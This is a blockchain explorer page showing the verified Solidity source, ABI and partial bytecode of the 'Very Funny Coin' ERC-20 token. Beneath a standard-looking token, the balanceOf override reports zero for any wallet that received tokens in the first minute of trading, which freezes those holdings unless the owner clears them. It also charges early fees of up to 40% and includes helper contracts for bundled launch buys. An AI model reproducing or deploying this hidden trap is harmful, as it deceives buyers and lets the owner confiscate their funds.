ERC-20
Overview
Max Total Supply
120,220,000 FUNNY
Holders
164
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
72,616,497.621292531 FUNNYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
VeryFunnyCoin
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. C U ON THE MOON */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; if(currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface ILpPair { function sync() external; } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract VeryFunnyCoin is ERC20, Ownable { IDexRouter public immutable dexRouter; address public lpPair; uint8 constant _decimals = 9; uint256 constant _decimalFactor = 10 ** _decimals; uint256 private swapping; uint256 public swapTokensAtAmount; uint256 public maxSwapTokens; address public immutable taxAddress; uint256 public swapEnabled = 2; uint256 public feesEnabled = 2; uint256 public limits = 2; mapping (address => uint256) buyTimer; uint256 public tradingActiveTime; mapping(address => uint256) private _isExcludedFromFees; mapping(address => uint256) public pairs; event SetPair(address indexed pair, bool value); event ExcludeFromFees(address indexed account, bool isExcluded); constructor() ERC20("Very Funny Coin", "FUNNY") payable { address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; dexRouter = IDexRouter(routerAddress); _approve(msg.sender, routerAddress, type(uint256).max); _approve(address(this), routerAddress, type(uint256).max); uint256 totalSupply = 120_220_000 * _decimalFactor; swapTokensAtAmount = totalSupply / 10000; maxSwapTokens = totalSupply / 200; taxAddress = 0xA09332Bc5F18C65c95636eb0a608F26fa46a126A; excludeFromFees(msg.sender, true); excludeFromFees(taxAddress, true); excludeFromFees(address(this), true); _balances[0x29A7D378a7C2da1846866BF783242EbeDEF0d344] = 25 * totalSupply / 1000; emit Transfer(address(0), 0x29A7D378a7C2da1846866BF783242EbeDEF0d344, 25 * totalSupply / 1000); _balances[0x0af7BFb0Ea4b5055dEC013CaE1E82941C0Aa3a51] = 25 * totalSupply / 1000; emit Transfer(address(0), 0x0af7BFb0Ea4b5055dEC013CaE1E82941C0Aa3a51, 25 * totalSupply / 1000); _balances[address(this)] = totalSupply - (5 * totalSupply / 100); emit Transfer(address(0), address(this), totalSupply - (5 * totalSupply / 100)); _totalSupply = totalSupply; } receive() external payable {} function decimals() public pure override returns (uint8) { return 9; } function setSwap(bool value) external onlyOwner { swapEnabled = value ? 2 : 1; } function setPair(address pair, bool value) external onlyOwner { require(pair != lpPair,"The main pair cannot be removed from pairs"); pairs[pair] = value ? 2 : 1; emit SetPair(pair, value); } function setMarketingFees(bool _enabled) external onlyOwner { feesEnabled = _enabled ? 2 : 1; } function getSellFees() public view returns (uint256) { uint256 elapsed = block.timestamp - tradingActiveTime; if(elapsed <= 1 minutes) return 0; if(elapsed <= 4 minutes) return 40; if(feesEnabled == 2) return 1; return 0; } function getBuyFees() public view returns (uint256) { uint256 elapsed = block.timestamp - tradingActiveTime; if(elapsed <= 1 minutes) return 0; elapsed -= 1 minutes; if(elapsed <= 3 minutes) { uint256 taxReduced = elapsed / 6; if (taxReduced < 40) return 40 - taxReduced; } if(feesEnabled == 2) return 1; return 0; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded ? 2 : 1; emit ExcludeFromFees(account, excluded); } function balanceOf(address account) public view override returns (uint256) { if(buyTimer[account] > 0 && block.timestamp - buyTimer[account] > 0) return 0; return _balances[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (tradingActiveTime > 0 && _isExcludedFromFees[from] != 2 && _isExcludedFromFees[to] != 2) { if (limits == 2) { if (pairs[to] != 2 && to != address(0xdead)) { require(balanceOf(to) + amount <= totalSupply() / 50, "Transfer amount exceeds the bag size."); } require(amount <= totalSupply() / 100, "Transfer limit exceeded"); } uint256 fees = 0; uint256 bal = balanceOf(from); if(amount > bal) amount = bal; //Can't transfer more than account balance if(block.timestamp - tradingActiveTime <= 1 minutes && buyTimer[to] == 0) buyTimer[to] = block.timestamp; if (pairs[to] == 2) { uint256 _sf = getSellFees(); if(_sf > 0) fees = (amount * _sf) / 100; } else if (pairs[from] == 2) { uint256 _bf = getBuyFees(); if(_bf > 0) fees = (amount * _bf) / 100; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; if (swapEnabled == 2 && swapping != 2 && pairs[to] == 2) { swapping = 2; swapBack(amount); swapping = 1; } } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapBack(uint256 amount) private { uint256 amountToSwap = balanceOf(address(this)); if (amountToSwap < swapTokensAtAmount) return; if (amountToSwap > maxSwapTokens) amountToSwap = maxSwapTokens; if (amountToSwap > amount) amountToSwap = amount; if (amountToSwap == 0) return; bool success; swapTokensForEth(amountToSwap); (success, ) = taxAddress.call{value: address(this).balance}(""); } function withdrawStuckETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function launch(address lpOwner) external payable onlyOwner { require(tradingActiveTime == 0); lpPair = IDexFactory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); pairs[lpPair] = 2; dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,lpOwner,block.timestamp); } function clearBuyTimer(address _wallet) external onlyOwner { buyTimer[_wallet] = 0; } function tradingActive() external onlyOwner { require(tradingActiveTime == 0); tradingActiveTime = block.timestamp; } function disableLimits() external onlyOwner() { limits = 1; } function getCirculatingSupply() public view returns (uint256) { return totalSupply() - (balanceOf(address(0xdead)) + balanceOf(address(0))); } function updateSwapTokens(uint256 _swapAt, uint256 _maxSwap) external onlyOwner { require(_maxSwap <= getCirculatingSupply() / 100, "Max swap cannot be higher than 1% total supply."); swapTokensAtAmount = _swapAt; maxSwapTokens = _maxSwap; } } contract Launcher is Ownable { VeryFunnyCoin public sb; Buyer public std; constructor() payable { //std = new Buyer(); //sb = new VeryFunnyCoin{value: address(this).balance}(); } function withdrawETH() public onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function Launch(address lpOwner, address[] calldata _wallets, uint256[] calldata _tokens) external payable onlyOwner { sb = new VeryFunnyCoin{value: address(this).balance}(); sb.launch(lpOwner); //std.presale{value: address(this).balance}(address(sb), _wallets, _tokens); sb.tradingActive(); //std.transferOwnership(lpOwner); sb.transferOwnership(lpOwner); //withdrawETH(); } function transferOwner(address ca, address wal) external onlyOwner { Ownable(ca).transferOwnership(wal); } function transferTokens(address ca, address wal) external onlyOwner { IERC20(ca).transfer(wal, IERC20(ca).balanceOf(address(this))); } receive() external payable {} } contract Buyer is Ownable { constructor() payable { } function withdrawETH() public onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function presale(address ca,address[] calldata _wallets, uint256[] calldata _tokens) external payable onlyOwner { address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IDexRouter dexRouter = IDexRouter(routerAddress); address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = ca; if(_wallets.length > 0) { for(uint256 i = 0; i < _wallets.length; i++) { dexRouter.swapETHForExactTokens{value: address(this).balance} ( _tokens[i], path, _wallets[i], block.timestamp ); } } withdrawETH(); } function transferOwner(address ca, address wal) external onlyOwner { Ownable(ca).transferOwnership(wal); } function transferTokens(address ca, address wal) external onlyOwner { IERC20(ca).transfer(wal, IERC20(ca).balanceOf(address(this))); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"SetPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"clearBuyTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"lpOwner","type":"address"}],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setMarketingFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tradingActiveTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAt","type":"uint256"},{"internalType":"uint256","name":"_maxSwap","type":"uint256"}],"name":"updateSwapTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6002600a819055600b819055600c55600f60c09081526e2b32b93c90233ab7373c9021b7b4b760891b60e05261014060405260056101009081526446554e4e5960d81b610120526003620000548382620005df565b506004620000638282620005df565b5050505f620000776200034160201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052620000ec33825f1962000345565b620000fa30825f1962000345565b5f620001096009600a620007b6565b620001199063072a6960620007cd565b90506200012961271082620007e7565b6008556200013960c882620007e7565b60095573a09332bc5f18c65c95636eb0a608f26fa46a126a60a0526200016133600162000470565b60a0516200017190600162000470565b6200017e30600162000470565b6103e86200018e826019620007cd565b6200019a9190620007e7565b7329a7d378a7c2da1846866bf783242ebedef0d3445f81815260208190527fe63a0015bf16535e2994d6c80a43670906c7fdbdafd0e6c08c62d506b65593df92909255905f80516020620026628339815191526103e8620001fd856019620007cd565b620002099190620007e7565b60405190815260200160405180910390a36103e86200022a826019620007cd565b620002369190620007e7565b730af7bfb0ea4b5055dec013cae1e82941c0aa3a515f81815260208190527f655465e8b0d009f04f8839a4fa90b8e06ea65e9f7bcd4af368780bdf2eff9b4492909255905f80516020620026628339815191526103e862000299856019620007cd565b620002a59190620007e7565b60405190815260200160405180910390a36064620002c5826005620007cd565b620002d19190620007e7565b620002dd908262000807565b305f81815260208190526040812092909255905f805160206200266283398151915260646200030e856005620007cd565b6200031a9190620007e7565b62000326908562000807565b60405190815260200160405180910390a3600255506200081d565b3390565b6001600160a01b038316620003ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003a4565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b03163314620004cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620003a4565b80620004da576001620004dd565b60025b6001600160a01b0383165f818152600f60205260409081902060ff9390931690925590517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7906200053390841515815260200190565b60405180910390a25050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200056857607f821691505b6020821081036200058757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005da575f81815260208120601f850160051c81016020861015620005b55750805b601f850160051c820191505b81811015620005d657828155600101620005c1565b5050505b505050565b81516001600160401b03811115620005fb57620005fb6200053f565b62000613816200060c845462000553565b846200058d565b602080601f83116001811462000649575f8415620006315750858301515b5f19600386901b1c1916600185901b178555620005d6565b5f85815260208120601f198616915b82811015620006795788860151825594840194600190910190840162000658565b50858210156200069757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006fb57815f1904821115620006df57620006df620006a7565b80851615620006ed57918102915b93841c9390800290620006c0565b509250929050565b5f826200071357506001620007b0565b816200072157505f620007b0565b81600181146200073a5760028114620007455762000765565b6001915050620007b0565b60ff841115620007595762000759620006a7565b50506001821b620007b0565b5060208310610133831016604e8410600b84101617156200078a575081810a620007b0565b620007968383620006bb565b805f1904821115620007ac57620007ac620006a7565b0290505b92915050565b5f620007c660ff84168362000703565b9392505050565b8082028115828204841417620007b057620007b0620006a7565b5f826200080257634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115620007b057620007b0620006a7565b60805160a051611df9620008695f395f8181610561015261181901525f8181610299015281816108a90152818161093701528181610a54015281816118d4015261198a0152611df95ff3fe608060405260043610610214575f3560e01c80636ddd17131161011e578063a9059cbb116100a8578063e2f456051161006d578063e2f45605146105fa578063f2fde38b1461060f578063f5648a4f1461062e578063f928364c14610642578063fe33b30214610656575f80fd5b8063a9059cbb14610531578063b7bda68f14610550578063bbc0c74214610583578063c024666814610597578063dd62ed3e146105b6575f80fd5b806386a22eff116100ee57806386a22eff146104ad5780638da5cb5b146104cc57806395d89b41146104e9578063a457c2d7146104fd578063a64e4f8a1461051c575f80fd5b80636ddd17131461045057806370a0823114610465578063715018a614610484578063860aefcf14610498575f80fd5b806323b872dd1161019f578063395093511161016f57806339509351146103ca578063452ed4f1146103e95780635031595f146104085780635c5d34121461041d578063685fc5681461043c575f80fd5b806323b872dd146103675780632b112e4914610386578063313ce5671461039a57806336a1efe4146103b5575f80fd5b8063095ea7b3116101e5578063095ea7b3146102d357806314f89c981461030257806318160ddd146103215780631b6c710c14610335578063214013ca14610354575f80fd5b80625ab1db1461021f5780630644e7571461024057806306fdde03146102675780630758d92414610288575f80fd5b3661021b57005b5f80fd5b34801561022a575f80fd5b5061023e610239366004611a06565b610681565b005b34801561024b575f80fd5b506102546106cc565b6040519081526020015b60405180910390f35b348015610272575f80fd5b5061027b610746565b60405161025e9190611a26565b348015610293575f80fd5b506102bb7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161025e565b3480156102de575f80fd5b506102f26102ed366004611a88565b6107d6565b604051901515815260200161025e565b34801561030d575f80fd5b5061023e61031c366004611a06565b6107ec565b34801561032c575f80fd5b50600254610254565b348015610340575f80fd5b5061023e61034f366004611ab2565b61082e565b61023e610362366004611ab2565b610871565b348015610372575f80fd5b506102f2610381366004611acd565b610b15565b348015610391575f80fd5b50610254610bc5565b3480156103a5575f80fd5b506040516009815260200161025e565b3480156103c0575f80fd5b5061025460095481565b3480156103d5575f80fd5b506102f26103e4366004611a88565b610bf6565b3480156103f4575f80fd5b506006546102bb906001600160a01b031681565b348015610413575f80fd5b50610254600e5481565b348015610428575f80fd5b5061023e610437366004611b0b565b610c31565b348015610447575f80fd5b50610254610ce1565b34801561045b575f80fd5b50610254600a5481565b348015610470575f80fd5b5061025461047f366004611ab2565b610d12565b34801561048f575f80fd5b5061023e610d7e565b3480156104a3575f80fd5b50610254600c5481565b3480156104b8575f80fd5b5061023e6104c7366004611b2b565b610df1565b3480156104d7575f80fd5b506005546001600160a01b03166102bb565b3480156104f4575f80fd5b5061027b610efc565b348015610508575f80fd5b506102f2610517366004611a88565b610f0b565b348015610527575f80fd5b50610254600b5481565b34801561053c575f80fd5b506102f261054b366004611a88565b610fa3565b34801561055b575f80fd5b506102bb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561058e575f80fd5b5061023e610faf565b3480156105a2575f80fd5b5061023e6105b1366004611b2b565b610feb565b3480156105c1575f80fd5b506102546105d0366004611b5e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610605575f80fd5b5061025460085481565b34801561061a575f80fd5b5061023e610629366004611ab2565b611079565b348015610639575f80fd5b5061023e611163565b34801561064d575f80fd5b5061023e6111cc565b348015610661575f80fd5b50610254610670366004611ab2565b60106020525f908152604090205481565b6005546001600160a01b031633146106b45760405162461bcd60e51b81526004016106ab90611b95565b60405180910390fd5b806106c05760016106c3565b60025b60ff16600b5550565b5f80600e54426106dc9190611bde565b9050603c81116106ed575f91505090565b6106f8603c82611bde565b905060b4811161072d575f61070e600683611bf1565b9050602881101561072b57610724816028611bde565b9250505090565b505b600b5460020361073f57600191505090565b5f91505090565b60606003805461075590611c10565b80601f016020809104026020016040519081016040528092919081815260200182805461078190611c10565b80156107cc5780601f106107a3576101008083540402835291602001916107cc565b820191905f5260205f20905b8154815290600101906020018083116107af57829003601f168201915b5050505050905090565b5f6107e23384846111fd565b5060015b92915050565b6005546001600160a01b031633146108165760405162461bcd60e51b81526004016106ab90611b95565b80610822576001610825565b60025b60ff16600a5550565b6005546001600160a01b031633146108585760405162461bcd60e51b81526004016106ab90611b95565b6001600160a01b03165f908152600d6020526040812055565b6005546001600160a01b0316331461089b5760405162461bcd60e51b81526004016106ab90611b95565b600e54156108a7575f80fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109279190611c48565b6001600160a01b031663c9c653967f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610991573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b59190611c48565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156109fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a229190611c48565b600680546001600160a01b0319166001600160a01b039283169081179091555f908152601060205260409020600290557f00000000000000000000000000000000000000000000000000000000000000001663f305d7194730610a8481610d12565b6040516001600160e01b031960e086901b1681526001600160a01b03928316600482015260248101919091525f60448201819052606482015290851660848201524260a482015260c40160606040518083038185885af1158015610aea573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b0f9190611c63565b50505050565b5f610b21848484611320565b6001600160a01b0384165f9081526001602090815260408083203384529091529020545f198114610bba5782811015610bad5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016106ab565b610bba85338584036111fd565b506001949350505050565b5f610bcf5f610d12565b610bda61dead610d12565b610be49190611c8e565b600254610bf19190611bde565b905090565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107e2918590610c2c908690611c8e565b6111fd565b6005546001600160a01b03163314610c5b5760405162461bcd60e51b81526004016106ab90611b95565b6064610c65610bc5565b610c6f9190611bf1565b811115610cd65760405162461bcd60e51b815260206004820152602f60248201527f4d617820737761702063616e6e6f7420626520686967686572207468616e203160448201526e12903a37ba